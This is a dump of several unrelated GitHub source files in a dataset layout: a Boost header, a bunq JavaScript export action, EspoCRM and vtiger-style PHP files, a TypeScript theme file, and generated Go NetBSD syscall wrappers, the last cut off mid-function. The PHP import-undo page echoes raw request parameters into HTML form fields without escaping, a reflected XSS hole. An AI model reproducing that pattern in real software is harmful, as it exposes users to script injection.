text
stringlengths
2
100k
meta
dict
/*============================================================================= Copyright (c) 2001-2007 Joel de Guzman Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ==============================================================================*/ #if !defined(FUSION_INCLUDE_REMOVE_IF) #define FUSION_INCLUDE_REMOVE_IF #include <boost/fusion/support/config.hpp> #include <boost/fusion/algorithm/transformation/remove_if.hpp> #endif
{ "pile_set_name": "Github" }
import BunqErrorHandler from "../Functions/BunqErrorHandler"; export function exportNew( BunqJSClient, user_id, account_id, statement_format, date_start, date_end, options = { regional_format: "EUROPEAN" } ) { const failedMessage = window.t("We failed to create the export for this monetary account"); return dispatch => { dispatch(exportNewLoading()); BunqJSClient.api.customerStatementExport .post(user_id, account_id, statement_format, date_start, date_end, options) .then(exportCreated => { dispatch(exportNewNotLoading()); }) .catch(error => { dispatch(exportNewNotLoading()); BunqErrorHandler(dispatch, error, failedMessage); }); }; } export function exportNewLoading() { return { type: "EXPORT_NEW_IS_LOADING" }; } export function exportNewNotLoading() { return { type: "EXPORT_NEW_IS_NOT_LOADING" }; }
{ "pile_set_name": "Github" }
<?php /************************************************************************ * This file is part of EspoCRM. * * EspoCRM - Open Source CRM application. * Copyright (C) 2014-2020 Yuri Kuznetsov, Taras Machyshyn, Oleksiy Avramenko * Website: https://www.espocrm.com * * EspoCRM is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EspoCRM is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EspoCRM. If not, see http://www.gnu.org/licenses/. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU General Public License version 3. * * In accordance with Section 7(b) of the GNU General Public License version 3, * these Appropriate Legal Notices must retain the display of the "EspoCRM" word. ************************************************************************/ namespace Espo\Core\Templates\Services; class CategoryTree extends \Espo\Services\RecordTree { }
{ "pile_set_name": "Github" }
<?php /********************************************************************************* * The contents of this file are subject to the SugarCRM Public License Version 1.1.2 * ("License"); You may not use this file except in compliance with the * License. You may obtain a copy of the License at http://www.sugarcrm.com/SPL * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for * the specific language governing rights and limitations under the License. * The Original Code is: SugarCRM Open Source * The Initial Developer of the Original Code is SugarCRM, Inc. * Portions created by SugarCRM are Copyright (C) SugarCRM, Inc.; * All Rights Reserved. * Contributor(s): ______________________________________. ********************************************************************************/ /********************************************************************************* * $Header$ * Description: TODO: To be written. ********************************************************************************/ require_once('data/Tracker.php'); require_once('modules/Import/ImportContact.php'); require_once('modules/Import/ImportAccount.php'); require_once('modules/Import/UsersLastImport.php'); require_once('modules/Import/parse_utils.php'); require_once('include/utils/utils.php'); global $mod_strings; global $app_list_strings; global $app_strings; global $current_user; global $theme; if (! isset( $_REQUEST['module'])) { $_REQUEST['module'] = 'Home'; } if (! isset( $_REQUEST['return_id'])) { $_REQUEST['return_id'] = ''; } if (! isset( $_REQUEST['return_module'])) { $_REQUEST['return_module'] = ''; } if (! isset( $_REQUEST['return_action'])) { $_REQUEST['return_action'] = ''; } $parenttab = getParenttab(); $theme_path="themes/".$theme."/"; $image_path=$theme_path."images/"; $log->info("Import Undo"); $last_import = new UsersLastImport(); $ret_value = $last_import->undo($current_user->id); ?> <br> <table align="center" cellpadding="5" cellspacing="0" width="95%" class="mailClient importLeadUI small"> <tr> <td bgcolor="#FFFFFF" height="50" valign="middle" align="left" class="mailClientBg genHeaderSmall"> <?php echo $mod_strings['LBL_MODULE_NAME']; ?> <?php echo $app_strings[$_REQUEST['module']] ; ?> </td> </tr> <tr><td>&nbsp;</td></tr> <tr> <td align="left" style="padding-left:40px;"> <span class="genHeaderGray"><?php echo $mod_strings['LBL_STEP_3_3']; ?></span>&nbsp; <span class="genHeaderSmall"><?php echo $mod_strings['LBL_MAPPING_RESULTS']; ?></span> </td> </tr> <tr> <td style="padding-left:140px;"> <br> <?php if ($ret_value) { ?> <?php echo "<b>" . $mod_strings['LBL_SUCCESS']."</b>" ?><BR><br> <?php echo $mod_strings['LBL_LAST_IMPORT_UNDONE'] ?> <?php } else { ?> <?php echo $mod_strings['LBL_FAIL'] ?><br> <?php echo $mod_strings['LBL_NO_IMPORT_TO_UNDO'] ?> <?php } ?> <br> <br> </td> </tr> <tr> <td align="right" class="reportCreateBottom" > <form name="Import" method="POST" action="index.php"> <input type="hidden" name="module" value="<?php echo $_REQUEST['module']; ?>"> <input type="hidden" name="action" value="Import"> <input type="hidden" name="step" value="1"> <input type="hidden" name="return_module" value="<?php echo $_REQUEST['RETURN_MODULE'] ?>"> <input type="hidden" name="return_id" value="<?php echo $_REQUEST['RETURN_ID'] ?>"> <input type="hidden" name="return_action" value="<?php echo $_REQUEST['RETURN_ACTION'] ?>"> <input type="hidden" name="parenttab" value="<?php echo $parenttab ?>"> <input title="<?php echo $mod_strings['LBL_TRY_AGAIN'] ?>" accessKey="" class="crmbutton small save" type="submit" name="button" value=" <?php echo $mod_strings['LBL_TRY_AGAIN'] ?> "> </form> </td> </tr> </table>
{ "pile_set_name": "Github" }
import { ProviderVariables } from '../../../teams/components/Provider/providerVariables'; export const providerVariables = (siteVariables): Partial<ProviderVariables> => ({ scrollbarThumbBackgroundColor: siteVariables.colors.silver[500], scrollbarThumbHoverBackgroundColor: siteVariables.colors.silver[500], });
{ "pile_set_name": "Github" }
// mksyscall.pl -l32 -arm syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm.go // MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT // +build arm,netbsd package unix import ( "syscall" "unsafe" ) var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(ngid int, gid *_Gid_t) (n int, err error) { r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(ngid int, gid *_Gid_t) (err error) { _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(s int, how int) (err error) { _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) { _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) { r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { var _p0 unsafe.Pointer if len(mib) > 0 { _p0 = unsafe.Pointer(&mib[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) use(_p0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, timeval *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimes(fd int, timeval *[2]Timeval) (err error) { _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fcntl(fd int, cmd int, arg int) (val int, err error) { r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg)) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe() (fd1 int, fd2 int, err error) { r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0) fd1 = int(r0) fd2 = int(r1) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getdents(fd int, buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Access(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtime(delta *Timeval, olddelta *Timeval) (err error) { _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chflags(path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chmod(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(fd int) (nfd int, err error) { r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0) nfd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(from int, to int) (err error) { _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { Syscall(SYS_EXIT, uintptr(code), 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchflags(fd int, flags int) (err error) { _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fpathconf(fd int, name int) (val int, err error) { r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { _, _, e1 := Syscall6(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length), uintptr(length>>32), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0) egid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (uid int) { r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0) gid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgrp() (pgrp int) { r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0) pgrp = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0) pid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0) ppid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrlimit(which int, lim *Rlimit) (err error) { _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Issetugid() (tainted bool) { r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0) tainted = bool(r0 != 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, signum syscall.Signal) (err error) { _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kqueue() (fd int, err error) { r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Link(path string, link string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(link) if err != nil { return } _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) use(unsafe.Pointer(_p0)) use(unsafe.Pointer(_p1)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, backlog int) (err error) { _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdir(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifo(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknod(path string, mode uint32, dev int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Open(path string, mode int, perm uint32) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) use(unsafe.Pointer(_p0)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pathconf(path string, name int) (val int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) use(unsafe.Pointer(_p0)) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pread(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 